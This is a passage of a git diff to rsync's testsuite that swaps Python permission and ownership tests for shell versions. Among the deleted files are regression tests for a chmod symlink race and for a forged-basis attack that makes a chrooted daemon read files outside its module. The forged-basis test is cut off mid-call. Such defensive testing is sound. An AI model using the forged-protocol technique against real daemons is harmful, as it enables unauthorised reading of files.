<mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that the --chmod option functions correctly.\n+\n+. $suitedir/rsync.fns\n+\n+# Build some files\n+\n+fromdir=\"$scratchdir/from\"\n+todir=\"$scratchdir/to\"\n+checkdir=\"$scratchdir/check\"\n+\n+mkdir \"$fromdir\"\n+name1=\"$fromdir/name1\"\n+name2=\"$fromdir/name2\"\n+dir1=\"$fromdir/dir1\"\n+dir2=\"$fromdir/dir2\"\n+echo \"This is the file\" > \"$name1\"\n+echo \"This is the other file\" > \"$name2\"\n+mkdir \"$dir1\" \"$dir2\"\n+\n+chmod 4700 \"$name1\" || test_skipped \"Can't chmod\"\n+chmod 700 \"$dir1\"\n+chmod 770 \"$dir2\"\n+\n+# Copy the files we've created over to another directory\n+checkit \"$RSYNC -avv '$fromdir/' '$checkdir/'\" \"$fromdir\" \"$checkdir\"\n+\n+# And then manually make the changes which should occur\n+umask 002\n+chmod ug-s,a+rX \"$checkdir\"/*\n+chmod +w \"$checkdir\" \"$checkdir\"/dir*\n+\n+checkit \"$RSYNC -avv --chmod ug-s,a+rX,D+w '$fromdir/' '$todir/'\" \"$checkdir\" \"$todir\"\n+\n+rm -r \"$fromdir\" \"$checkdir\" \"$todir\"\n+makepath \"$todir\" \"$fromdir/foo\"\n+touch \"$fromdir/bar\"\n+\n+checkit \"$RSYNC -avv '$fromdir/' '$checkdir/'\" \"$fromdir\" \"$checkdir\"\n+chmod o+x \"$fromdir\"/bar\n+\n+checkit \"$RSYNC -avv --chmod=Fo-x '$fromdir/' '$todir/'\" \"$checkdir\" \"$todir\"\n+\n+# Tickle a bug in rsync 2.6.8: if you push a new directory with --perms off to\n+# a daemon with an incoming chmod, the daemon pretends the directory is a file\n+# for the purposes of the second application of the incoming chmod.\n+\n+build_rsyncd_conf\n+cat >>\"$scratchdir/test-rsyncd.conf\" <<EOF\n+[test-incoming-chmod]\n+\tpath = $todir\n+\tread only = no\n+\tincoming chmod = Fo-x\n+EOF\n+\n+RSYNC_CONNECT_PROG=\"$RSYNC --config=$conf --daemon\"\n+export RSYNC_CONNECT_PROG\n+\n+rm -r \"$todir\"\n+makepath \"$todir\"\n+\n+checkit \"$RSYNC -avv --no-perms '$fromdir/' localhost::test-incoming-chmod/\" \"$checkdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/chmod-option_test.py b/testsuite/chmod-option_test.py\ndeleted file mode 100644\nindex ad0fc77..0000000\n--- a/testsuite/chmod-option_test.py\n+++ /dev/null\n@@ -1,126 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/chmod-option.test.\n-#\n-# Test --chmod and the daemon-side \"incoming chmod = ...\" setting.\n-# Covers a 2.6.8 bug where pushing a new directory with --no-perms to a\n-# daemon with an incoming chmod made the daemon mis-classify the dir as\n-# a file for the purposes of applying the incoming chmod.\n-\n-import os\n-import shutil\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    build_rsyncd_conf, check_perms, checkit, makepath, rmtree,\n-    run_rsync, start_test_daemon, test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12875\n-\n-\n-checkdir = SCRATCHDIR / 'check'\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-(FROMDIR / 'name1').write_text(\"This is the file\\n\")\n-(FROMDIR / 'name2').write_text(\"This is the other file\\n\")\n-(FROMDIR / 'dir1').mkdir()\n-(FROMDIR / 'dir2').mkdir()\n-\n-os.chmod(FROMDIR / 'name1', 0o4700)\n-os.chmod(FROMDIR / 'dir1', 0o700)\n-os.chmod(FROMDIR / 'dir2', 0o770)\n-\n-# Baseline copy of source.\n-checkit(['-avv', f'{FROMDIR}/', f'{checkdir}/'], FROMDIR, checkdir)\n-\n-# Pin umask to 002 for the rest of the test and DO NOT restore it: rsync's\n-# --chmod `D+w` honours the process umask, so the expected tree (built just\n-# below) and the rsync run that follows must use the same umask -- exactly\n-# as the shell test did (it set `umask 002` and left it in effect). Without\n-# this the test fails under a different ambient umask (e.g. 077).\n-os.umask(0o002)\n-\n-# Manually apply the mode transform that --chmod ug-s,a+rX,D+w should\n-# produce on the destination, then verify rsync's transform matches.\n-for entry in checkdir.iterdir():\n-    # ug-s,a+rX: clear setuid/setgid; add r everywhere; add x where\n-    # any existing x or the entry is a dir.\n-    st = entry.stat()\n-    mode = st.st_mode & ~0o6000\n-    mode |= 0o444  # a+r\n-    if entry.is_dir() or (st.st_mode & 0o111):\n-        mode |= 0o111  # a+X\n-    os.chmod(entry, mode)\n-# `chmod +w` with no explicit who: adds w for every category not masked by\n-# the current umask. Under umask 002 that's u+w AND g+w.\n-plus_w = 0o222 & ~0o002\n-for d in (checkdir, checkdir / 'dir1', checkdir / 'dir2'):\n-    st = d.stat()\n-    os.chmod(d, st.st_mode | plus_w)\n-\n-checkit(['-avv', '--chmod', 'ug-s,a+rX,D+w', f'{FROMDIR}/', f'{TODIR}/'],\n-        checkdir, TODIR)\n-\n-def check_permcopy(chmod_arg, start_mode, expected, is_dir=False):\n-    rmtree(FROMDIR)\n-    rmtree(TODIR)\n-    makepath(FROMDIR)\n-    permcopy = FROMDIR / 'permcopy'\n-    if is_dir:\n-        permcopy.mkdir()\n-    else:\n-        permcopy.write_text('permcopy\\n')\n-    os.chmod(permcopy, start_mode)\n-    run_rsync('-avv', f'--chmod={chmod_arg}', f'{FROMDIR}/', f'{TODIR}/')\n-    check_perms(TODIR / 'permcopy', expected)\n-\n-\n-# Exercise chmod(1)-style permission copies.\n-check_permcopy('g=o,o=', 0o647, 'rw-rwx---')\n-check_permcopy('g=u', 0o741, 'rwxrwx--x')\n-check_permcopy('g-o', 0o775, 'rwx-w-r-x')\n-check_permcopy('u=g', 0o4755, 'r-xr-xr-x')\n-check_permcopy('g=u', 0o2755, 'rwxrwxr-x')\n-check_permcopy('o=u', 0o1750, 'rwxr-xrwx', is_dir=True)\n-\n-rmtree(FROMDIR)\n-rmtree(TODIR)\n-makepath(FROMDIR)\n-(FROMDIR / 'permcopy').write_text('permcopy\\n')\n-proc = run_rsync('-avv', '--chmod=g=ur', f'{FROMDIR}/', f'{TODIR}/',\n-                 check=False, capture_output=True)\n-if proc.returncode == 0:\n-    test_fail('--chmod=g=ur was not rejected')\n-\n-# Now exercise the F-only chmod path.\n-rmtree(FROMDIR)\n-rmtree(checkdir)\n-rmtree(TODIR)\n-makepath(TODIR, FROMDIR / 'foo')\n-(FROMDIR / 'bar').touch()\n-\n-checkit(['-avv', f'{FROMDIR}/', f'{checkdir}/'], FROMDIR, checkdir)\n-os.chmod(FROMDIR / 'bar', (FROMDIR / 'bar').stat().st_mode | 0o001)  # o+x\n-\n-checkit(['-avv', '--chmod=Fo-x', f'{FROMDIR}/', f'{TODIR}/'], checkdir, TODIR)\n-\n-# 2.6.8 regression: pushing a new directory via --no-perms to a daemon\n-# with an \"incoming chmod\" once mis-classified the directory as a file.\n-conf = build_rsyncd_conf()\n-with open(conf, 'a') as f:\n-    f.write(f\"\"\"\n-[test-incoming-chmod]\n-\\tpath = {TODIR}\n-\\tread only = no\n-\\tincoming chmod = Fo-x\n-\"\"\")\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-rmtree(TODIR)\n-makepath(TODIR)\n-\n-checkit(['-avv', '--no-perms', f'{FROMDIR}/',\n-         f'{url}test-incoming-chmod/'],\n-        checkdir, TODIR, allowed_codes=(0, 23))\ndiff --git a/testsuite/chmod-setid_test.py b/testsuite/chmod-setid_test.py\ndeleted file mode 100644\nindex d9e36e9..0000000\n--- a/testsuite/chmod-setid_test.py\n+++ /dev/null\n@@ -1,33 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression for KI-55: --chmod=a+s must set BOTH setuid and setgid (like\n-# chmod(1)).  parse_chmod()'s 'a' clause used to leave the set-id bits unset, so\n-# \"a+s\" fell through to setuid only.\n-\n-import os\n-\n-from rsyncfns import SCRATCHDIR, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'chmod_setid'\n-src = base / 'src'\n-dst = base / 'dst'\n-src.mkdir(parents=True, exist_ok=True)\n-dst.mkdir(parents=True, exist_ok=True)\n-(src / 'f').write_text('hi\\n')\n-os.chmod(src / 'f', 0o644)\n-\n-run_rsync('-rp', '--chmod=a+s', f'{src}/', f'{dst}/')\n-\n-mode = (dst / 'f').stat().st_mode & 0o7777\n-if not (mode & 0o4000) or not (mode & 0o2000):\n-    test_fail(f'--chmod=a+s did not set both setuid+setgid (mode {mode:04o})')\n-\n-# Sanity: u+s is setuid only, g+s is setgid only.\n-for spec, want, unwant in (('u+s', 0o4000, 0o2000), ('g+s', 0o2000, 0o4000)):\n-    d = base / spec.replace('+', '_')\n-    d.mkdir(exist_ok=True)\n-    run_rsync('-rp', f'--chmod={spec}', f'{src}/', f'{d}/')\n-    m = (d / 'f').stat().st_mode & 0o7777\n-    if not (m & want) or (m & unwant):\n-        test_fail(f'--chmod={spec} gave mode {m:04o} (want {want:04o}, not {unwant:04o})')\n-\n-print('chmod-setid: a+s sets setuid+setgid; u+s/g+s stay single-bit')\ndiff --git a/testsuite/chmod-symlink-race_test.py b/testsuite/chmod-symlink-race_test.py\ndeleted file mode 100644\nindex 430442d..0000000\n--- a/testsuite/chmod-symlink-race_test.py\n+++ /dev/null\n@@ -1,57 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/chmod-symlink-race.test.\n-#\n-# Regression test for the symlink-TOCTOU class of bug applied to chmod()\n-# on the receiver side. The CVE-2026-29518 fix used\n-# secure_relative_open() for the basis-file open, but every other\n-# path-based syscall the receiver runs on sender-controllable paths is\n-# vulnerable to the same primitive: a local attacker swaps a symlink\n-# into one of the parent directory components between the receiver's\n-# check and its act, and the syscall escapes the module.\n-#\n-# The helper t_chmod_secure exercises the new do_chmod_at() wrapper\n-# across four scenarios; see the shell version for the full enumeration.\n-# After the helper runs we sanity-check the outside sentinel's mode\n-# from Python too, in case the helper's internal stat() ever drifts.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, TOOLDIR, rmtree, test_fail\n-\n-\n-mod = SCRATCHDIR / 'module'\n-trap_outside = SCRATCHDIR / 'trap'\n-rmtree(mod)\n-rmtree(trap_outside)\n-mod.mkdir(parents=True)\n-(mod / 'realdir').mkdir(parents=True)\n-trap_outside.mkdir(parents=True)\n-\n-# File-system objects the helper expects.\n-(mod / 'realdir' / 'sentinel').write_text(\"bystander\\n\")\n-os.chmod(mod / 'realdir' / 'sentinel', 0o600)\n-(trap_outside / 'sentinel').write_text(\"target\\n\")\n-os.chmod(trap_outside / 'sentinel', 0o600)\n-os.symlink('realdir', mod / 'inside_link')\n-os.symlink('../trap', mod / 'escape_link')\n-(mod / 'topfile').write_text(\"top\\n\")\n-os.chmod(mod / 'topfile', 0o600)\n-# A LEAF symlink (final path component) escaping the tree, for the leaf-flip\n-# scenario: do_chmod_at('realdir/leaflink') has a legitimate real parent but an\n-# escaping symlink leaf, so it isolates the O_NOFOLLOW leaf guard from the\n-# parent-confinement scenarios. Target is the same outside sentinel (relative to\n-# realdir/, the outside trap is ../../trap).\n-os.symlink('../../trap/sentinel', mod / 'realdir' / 'leaflink')\n-\n-proc = subprocess.run([str(TOOLDIR / 't_chmod_secure'), str(mod)])\n-if proc.returncode != 0:\n-    test_fail(\"t_chmod_secure reported failures (see stderr above)\")\n-\n-# Second-look sanity check from Python.\n-sentinel_mode = (trap_outside / 'sentinel').stat().st_mode & 0o777\n-if sentinel_mode != 0o600:\n-    test_fail(\n-        f\"outside sentinel mode changed from 600 to {oct(sentinel_mode)[2:]} \"\n-        \"-- chmod escaped the module\"\n-    )\ndiff --git a/testsuite/chmod-temp-dir.test b/testsuite/chmod-temp-dir.test\nnew file mode 100644\nindex 0000000..362d9d9\n--- /dev/null\n+++ b/testsuite/chmod-temp-dir.test\n@@ -0,0 +1,41 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2004-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that various read-only and set[ug]id permissions work properly,\n+# even when using a --temp-dir option (which we try to point at a\n+# different filesystem than the destination dir).\n+\n+. \"$suitedir/rsync.fns\"\n+\n+hands_setup\n+\n+sdev=`$TOOLDIR/getfsdev $scratchdir`\n+tdev=$sdev\n+\n+for tmpdir2 in \"${RSYNC_TEST_TMP:-/override-tmp-not-specified}\" /run/shm /var/tmp /tmp; do\n+    [ -d \"$tmpdir2\" ] && [ -w \"$tmpdir2\" ] || continue\n+    tdev=`$TOOLDIR/getfsdev \"$tmpdir2\"`\n+    [ x$sdev != x$tdev ] && break\n+done\n+\n+[ x$sdev = x$tdev ] && test_skipped \"Can't find a tmp dir on a different file system\"\n+\n+chmod 440 \"$fromdir/text\"\n+chmod 500 \"$fromdir/dir/text\"\n+e=\"$fromdir/dir/subdir/foobar.baz\"\n+chmod 6450 \"$e\" || chmod 2450 \"$e\" || chmod 1450 \"$e\" || chmod 450 \"$e\"\n+e=\"$fromdir/dir/subdir/subsubdir/etc-ltr-list\"\n+chmod 2670 \"$e\" || chmod 1670 \"$e\" || chmod 670 \"$e\"\n+\n+# First a normal copy.\n+runtest \"normal copy\" 'checkit \"$RSYNC -avv --temp-dir=\\\"$tmpdir2\\\" \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir\" \"$todir\"'\n+\n+# Then we update all the files.\n+runtest \"update copy\" 'checkit \"$RSYNC -avvI --no-whole-file --temp-dir=\\\"$tmpdir2\\\" \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir\" \"$todir\"'\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/chmod-temp-dir_test.py b/testsuite/chmod-temp-dir_test.py\ndeleted file mode 100644\nindex 30d9fe2..0000000\n--- a/testsuite/chmod-temp-dir_test.py\n+++ /dev/null\n@@ -1,65 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/chmod-temp-dir.test.\n-#\n-# Like chmod_test.py, but uses --temp-dir pointing at a different\n-# filesystem so rsync must rename(2) across filesystems (i.e. fall back\n-# to copy+unlink) instead of the in-place rename it does when temp and\n-# destination are on the same fs. We probe candidate tmp paths to find\n-# one whose filesystem differs from the scratch dir.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import FROMDIR, SCRATCHDIR, TODIR, TOOLDIR, checkit, hands_setup, test_skipped\n-\n-\n-def _fsdev(path: str) -> str:\n-    return subprocess.check_output(\n-        [str(TOOLDIR / 'getfsdev'), path], text=True,\n-    ).strip()\n-\n-\n-hands_setup()\n-\n-scratch_dev = _fsdev(str(SCRATCHDIR))\n-tmpdir2 = None\n-candidates = [\n-    os.environ.get('RSYNC_TEST_TMP', '/override-tmp-not-specified'),\n-    '/run/shm', '/var/tmp', '/tmp',\n-]\n-for cand in candidates:\n-    if not (os.path.isdir(cand) and os.access(cand, os.W_OK)):\n-        continue\n-    if _fsdev(cand) != scratch_dev:\n-        tmpdir2 = cand\n-        break\n-\n-if tmpdir2 is None:\n-    test_skipped(\"Can't find a tmp dir on a different file system\")\n-\n-\n-# Mirror chmod_test.py: set up a varied permission tree on the source.\n-def _try_chmods(path, modes):\n-    for m in modes:\n-        try:\n-            os.chmod(path, m)\n-            return\n-        except PermissionError:\n-            continue\n-    os.chmod(path, modes[-1])\n-\n-\n-os.chmod(FROMDIR / 'text', 0o440)\n-os.chmod(FROMDIR / 'dir' / 'text', 0o500)\n-_try_chmods(FROMDIR / 'dir' / 'subdir' / 'foobar.baz',\n-            [0o6450, 0o2450, 0o1450, 0o450])\n-_try_chmods(FROMDIR / 'dir' / 'subdir' / 'subsubdir' / 'etc-ltr-list',\n-            [0o2670, 0o1670, 0o670])\n-\n-# First a normal copy (whole-file) but through a cross-fs --temp-dir.\n-checkit(['-avv', f'--temp-dir={tmpdir2}', f'{FROMDIR}/', str(TODIR)],\n-        FROMDIR, TODIR)\n-\n-# Then an update through delta, still routing partial transfers across fs.\n-checkit(['-avvI', '--no-whole-file', f'--temp-dir={tmpdir2}',\n-         f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\ndiff --git a/testsuite/chmod.test b/testsuite/chmod.test\nnew file mode 100644\nindex 0000000..1646a9c\n--- /dev/null\n+++ b/testsuite/chmod.test\n@@ -0,0 +1,30 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2004-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that various read-only and set[ug]id permissions work properly,\n+# even when using a --temp-dir option (which we try to point at a\n+# different filesystem than the destination dir).\n+\n+. \"$suitedir/rsync.fns\"\n+\n+hands_setup\n+\n+chmod 440 \"$fromdir/text\"\n+chmod 500 \"$fromdir/dir/text\"\n+e=\"$fromdir/dir/subdir/foobar.baz\"\n+chmod 6450 \"$e\" || chmod 2450 \"$e\" || chmod 1450 \"$e\" || chmod 450 \"$e\"\n+e=\"$fromdir/dir/subdir/subsubdir/etc-ltr-list\"\n+chmod 2670 \"$e\" || chmod 1670 \"$e\" || chmod 670 \"$e\"\n+\n+# First a normal copy.\n+runtest \"normal copy\" 'checkit \"$RSYNC -avv \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir\" \"$todir\"'\n+\n+# Then we update all the files.\n+runtest \"update copy\" 'checkit \"$RSYNC -avvI --no-whole-file \\\"$fromdir/\\\" \\\"$todir\\\"\" \"$fromdir\" \"$todir\"'\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/chmod_test.py b/testsuite/chmod_test.py\ndeleted file mode 100644\nindex ea6934b..0000000\n--- a/testsuite/chmod_test.py\n+++ /dev/null\n@@ -1,40 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/chmod.test.\n-#\n-# Test that varied read-only and set[ug]id permissions transfer correctly\n-# both on first copy (whole-file) and on subsequent updates (delta).\n-\n-import os\n-\n-from rsyncfns import FROMDIR, TODIR, checkit, hands_setup\n-\n-\n-hands_setup()\n-\n-# Three of these chmod modes use the sticky/setuid/setgid bits which some\n-# platforms refuse for non-root. The shell test tries them in descending\n-# order, falling back to plain mode on rejection.\n-def _try_chmods(path, modes):\n-    for m in modes:\n-        try:\n-            os.chmod(path, m)\n-            return\n-        except PermissionError:\n-            continue\n-    # Final mode in the list is the no-special-bits fallback.\n-    os.chmod(path, modes[-1])\n-\n-\n-os.chmod(FROMDIR / 'text', 0o440)\n-os.chmod(FROMDIR / 'dir' / 'text', 0o500)\n-_try_chmods(FROMDIR / 'dir' / 'subdir' / 'foobar.baz',\n-            [0o6450, 0o2450, 0o1450, 0o450])\n-_try_chmods(FROMDIR / 'dir' / 'subdir' / 'subsubdir' / 'etc-ltr-list',\n-            [0o2670, 0o1670, 0o670])\n-\n-# First a normal whole-file copy.\n-checkit(['-avv', f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\n-\n-# Then update through delta with -I (ignore times) so every file is\n-# touched again.\n-checkit(['-avvI', '--no-whole-file', f'{FROMDIR}/', str(TODIR)], FROMDIR, TODIR)\ndiff --git a/testsuite/chown-fake_test.py b/testsuite/chown-fake_test.py\ndeleted file mode 120000\nindex e1b09be..0000000\n--- a/testsuite/chown-fake_test.py\n+++ /dev/null\n@@ -1 +0,0 @@\n-chown_test.py\n\\ No newline at end of file\ndiff --git a/testsuite/chown.test b/testsuite/chown.test\nnew file mode 100644\nindex 0000000..b53413e\n--- /dev/null\n+++ b/testsuite/chown.test\n@@ -0,0 +1,86 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that when rsync is running as root and has -a it correctly sets\n+# the ownership of the destination.\n+\n+# We don't know what users will be present on this system, so we just\n+# use random numeric uids and gids.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+case $0 in\n+*fake*)\n+    $RSYNC -VV | grep '\"xattrs\": true' >/dev/null || test_skipped \"Rsync needs xattrs for fake device tests\"\n+    RSYNC=\"$RSYNC --fake-super\"\n+    TLS_ARGS=\"$TLS_ARGS --fake-super\"\n+    case \"$HOST_OS\" in\n+    darwin*)\n+\tchown() {\n+\t    own=$1\n+\t    shift\n+\t    xattr -s 'rsync.%stat' \"100644 0,0 $own\" \"${@}\"\n+\t}\n+\t;;\n+    solaris*)\n+\tchown() {\n+\t    own=$1\n+\t    shift\n+\t    for fn in \"${@}\"; do\n+\t\trunat \"$fn\" \"$SHELL_PATH\" <<EOF\n+echo \"100644 0,0 $own\" > rsync.%stat\n+EOF\n+\t    done\n+\t}\n+\t;;\n+    freebsd*)\n+\tchown() {\n+\t    own=$1\n+\t    shift\n+\t    setextattr -h user \"rsync.%stat\" \"100644 0,0 $own\" \"${@}\"\n+\t}\n+\t;;\n+    *)\n+\tchown() {\n+\t    own=$1\n+\t    shift\n+\t    setfattr -n 'user.rsync.%stat' -v \"100644 0,0 $own\" \"${@}\"\n+\t}\n+\t;;\n+    esac\n+    ;;\n+*)\n+    RSYNC=\"$RSYNC --super\"\n+    my_uid=`get_testuid`\n+    root_uid=`get_rootuid`\n+    if test x\"$my_uid\" = x; then\n+\t: # If \"id\" failed, try to continue...\n+    elif test x\"$my_uid\" != x\"$root_uid\"; then\n+\tif [ -e \"$FAKEROOT_PATH\" ]; then\n+\t    echo \"Let's try re-running the script under fakeroot...\"\n+\t    exec \"$FAKEROOT_PATH\" \"$SHELL_PATH\" \"$0\"\n+\tfi\n+    fi\n+    ;;\n+esac\n+\n+# Build some hardlinks\n+\n+mkdir \"$fromdir\"\n+name1=\"$fromdir/name1\"\n+name2=\"$fromdir/name2\"\n+echo \"This is the file\" > \"$name1\"\n+echo \"This is the other file\" > \"$name2\"\n+\n+chown 5000:5002 \"$name1\" || test_skipped \"Can't chown (probably need root)\"\n+chown 5001:5003 \"$name2\" || test_skipped \"Can't chown (probably need root)\"\n+\n+cd \"$fromdir/..\"\n+checkit \"$RSYNC -aHvv from/ to/\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/chown_test.py b/testsuite/chown_test.py\ndeleted file mode 100644\nindex 116b97e..0000000\n--- a/testsuite/chown_test.py\n+++ /dev/null\n@@ -1,73 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/chown.test (and, via a symlink installed by\n-# the Makefile as chown-fake_test.py, of testsuite/chown-fake.test).\n-#\n-# Verifies that rsync -a + ownership-preservation sets the destination\n-# uid/gid to match the source. The \"real\" variant needs root to chown(2);\n-# the \"fake\" variant emulates ownership in the user.rsync.%stat xattr and\n-# tests --fake-super.\n-\n-import os\n-import sys\n-\n-import rsyncfns\n-from rsyncfns import (\n-    FROMDIR, RSYNC_PREFIX, TODIR,\n-    checkit, test_skipped, xattr_set, xattrs_supported,\n-)\n-\n-\n-# Detect fake variant by the script name we were invoked under. The\n-# Makefile creates chown-fake_test.py as a symlink to this file.\n-script_name = os.path.basename(sys.argv[0] if sys.argv[0] else __file__)\n-fake_variant = 'fake' in script_name\n-\n-if fake_variant:\n-    # --fake-super needs xattrs support (and a way to set them here).\n-    if not xattrs_supported():\n-        test_skipped(\"Rsync needs xattrs for fake device tests\")\n-    # Augment the RSYNC command and TLS_ARGS so checkit's listing path\n-    # treats the xattr-encoded ownership as the file's real ownership.\n-    rsyncfns.RSYNC = rsyncfns.RSYNC + ' --fake-super'\n-    rsyncfns.TLS_ARGS = (rsyncfns.TLS_ARGS + ' --fake-super').strip()\n-\n-    def chown_or_fake(path, uid, gid):\n-        # Store ownership in rsync's fake-super \"%stat\" xattr -- the name\n-        # (RSYNC_PREFIX) and namespace vary by OS; xattr_set handles that.\n-        # %stat format: \"MODE DEV_MAJOR,DEV_MINOR UID:GID\"\n-        mode = os.stat(path).st_mode\n-        xattr_set(f'{RSYNC_PREFIX}.%stat', f\"{mode:o} 0,0 {uid}:{gid}\", path)\n-        return True\n-else:\n-    rsyncfns.RSYNC = rsyncfns.RSYNC + ' --super'\n-\n-    my_uid = os.getuid()\n-    if my_uid != 0:\n-        # If a fakeroot binary is in the environment, re-exec ourselves\n-        # under it -- same trick the shell test used.\n-        fakeroot_path = os.environ.get('FAKEROOT_PATH')\n-        if fakeroot_path and os.access(fakeroot_path, os.X_OK):\n-            print(\"Let's try re-running the script under fakeroot...\")\n-            os.execv(fakeroot_path, [fakeroot_path, sys.executable, __file__])\n-\n-    def chown_or_fake(path, uid, gid):\n-        try:\n-            os.chown(path, uid, gid)\n-            return True\n-        except (PermissionError, OSError):\n-            return False\n-\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-name1 = FROMDIR / 'name1'\n-name2 = FROMDIR / 'name2'\n-name1.write_text(\"This is the file\\n\")\n-name2.write_text(\"This is the other file\\n\")\n-\n-if not chown_or_fake(name1, 5000, 5002):\n-    test_skipped(\"Can't chown (probably need root)\")\n-if not chown_or_fake(name2, 5001, 5003):\n-    test_skipped(\"Can't chown (probably need root)\")\n-\n-os.chdir(FROMDIR.parent)\n-checkit(['-aHvv', 'from/', 'to/'], FROMDIR, TODIR)\ndiff --git a/testsuite/chroot-alt-dest-inner-module_test.py b/testsuite/chroot-alt-dest-inner-module_test.py\ndeleted file mode 100644\nindex 35990b8..0000000\n--- a/testsuite/chroot-alt-dest-inner-module_test.py\n+++ /dev/null\n@@ -1,14 +0,0 @@\n-#!/usr/bin/env python3\n-import shutil\n-\n-from rsyncfns import run_checked, setup_chroot_inner\n-from rsyncfns import makepath, rsync_argv, test_fail\n-\n-base, inner, outside, src, url = setup_chroot_inner('chroot-comparedest-inner')\n-makepath(inner / 'dest')\n-(src / 'f').write_text('same\\n')\n-shutil.copy2(src / 'f', outside / 'f')\n-proc, out = run_checked(rsync_argv('-a', '--compare-dest=../linkparent', f'{src}/', f'{url}mod/dest/'))\n-if not (inner / 'dest' / 'f').exists():\n-    test_fail(f\"compare-dest used outside-inner-module metadata to suppress the transfer:\\n{out}\")\n-print(\"chroot-alt-dest-inner-module: outside compare-dest did not suppress destination creation\")\ndiff --git a/testsuite/chroot-basis-forge-inner-module_test.py b/testsuite/chroot-basis-forge-inner-module_test.py\ndeleted file mode 100644\nindex 7cad488..0000000\n--- a/testsuite/chroot-basis-forge-inner-module_test.py\n+++ /dev/null\n@@ -1,100 +0,0 @@\n-#!/usr/bin/env python3\n-# Finding (codex review of [16-19]): the generator-side alt-dest basis stat is\n-# confined for a /./ inner-module chroot, but the RECEIVER's delta-basis open\n-# (secure_basis_open) bypassed confinement for any am_chrooted daemon. The\n-# receiver trusts the peer-supplied fnamecmp_type (read from the inbound stream),\n-# so a malicious push client can force an alternate-basis index whose basis_dir\n-# escapes the inner module through a symlinked parent (--compare-dest=../linkparent\n-# -> outside). The receiver then opens an outside-inner-module file as the delta\n-# basis and copies its matched blocks into the in-module destination -- an\n-# out-of-module read materialized into a file the client can later pull.\n-#\n-# This drives the attack with the pure-Python sender (rsync_proto) instead of a\n-# recompiled malicious binary: push file \"f\" and, in the transfer phase, forge\n-# fnamecmp_type = FNAMECMP_FUZZY + 1 (alt-dest index 0) with xname \"f\" and a\n-# delta that matches block 0 of that forged basis. The pre-existing dest matches\n-# the source's first block (so a block-0 match is legitimate); with the forged\n-# index the receiver applies that match against the OUTSIDE basis, and the wrong\n-# whole-file checksum then trips \"failed verification\" -- but only AFTER the\n-# receiver opened and read the out-of-module file, which is the confinement\n-# violation. So the tell is in the daemon log: \"failed verification\" means the\n-# escaping basis was opened (RED on the unconfined receiver); once\n-# secure_basis_open confines the inner-module case the open is refused (the\n-# forged match has no basis file) and no out-of-module read occurs.\n-#\n-# Needs root (the /./ chroot) and a real TCP daemon (the Python sender).\n-\n-import os\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, get_rootuid, get_testuid, makepath, require_tcp,\n-    rmtree, start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12973\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-if get_testuid() != get_rootuid():\n-    test_skipped(\"the /./ inner-module chroot regression requires root\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'chroot-basis-forge'\n-outer = base / 'outer'\n-inner = outer / 'inner'\n-outside = outer / 'outside'\n-src = base / 'src'\n-rmtree(base)\n-makepath(inner, outside, src)\n-os.symlink('../outside', inner / 'linkparent')\n-\n-BLK = 700\n-SECRET = b'S' * BLK + b'Y'        # outside basis: first block is the secret\n-PUBLIC = b'A' * BLK               # pre-existing dest == generator's FNAME basis\n-SOURCE = b'A' * BLK + b'X'        # block 0 matches dest, so a block-0 match is sent\n-\n-(outside / 'f').write_bytes(SECRET)\n-(outside / 'dest').mkdir()        # cover both file->dirname resolutions\n-(outside / 'dest' / 'f').write_bytes(SECRET)\n-(src / 'f').write_bytes(SOURCE)\n-(inner / 'dest').mkdir()\n-(inner / 'dest' / 'f').write_bytes(PUBLIC)\n-\n-conf = write_daemon_conf([\n-    ('mod', {'path': str(outer) + '/./inner', 'read only': 'no',\n-             'use chroot': 'yes', 'munge symlinks': 'no'}),\n-], name='chroot-basis-forge.conf')\n-log = SCRATCHDIR / 'rsyncd.log'\n-before = log.read_text(errors='replace') if log.exists() else ''\n-start_test_daemon(conf, PORT)\n-\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-s.handshake('mod', ['--server', '-le.LsfxCIu', '--no-whole-file',\n-                    '--compare-dest=../linkparent', '.', 'dest/'],\n-            